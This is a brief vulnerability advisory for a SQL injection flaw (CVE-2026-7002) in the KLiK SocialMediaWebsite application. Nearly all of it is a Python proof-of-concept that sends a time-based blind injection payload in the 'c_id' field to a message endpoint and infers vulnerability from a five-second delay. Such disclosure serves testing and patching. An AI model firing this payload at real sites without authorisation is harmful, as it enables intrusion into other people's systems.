CVE-2026-7002 KLiK SocialMediaWebsite SQL注入漏洞

import requests # Target URL containing the vulnerable endpoint url = "http://target-ip/includes/get_message_ajax.php" # Payload to test for SQL Injection (Time-based blind) # Manipulating the 'c_id' argument to trigger a delay payload = { "c_id": "1' AND SLEEP(5)-- -" } try: response = requests.post(url, data=payload) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] The target is vulnerable to SQL Injection.") else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")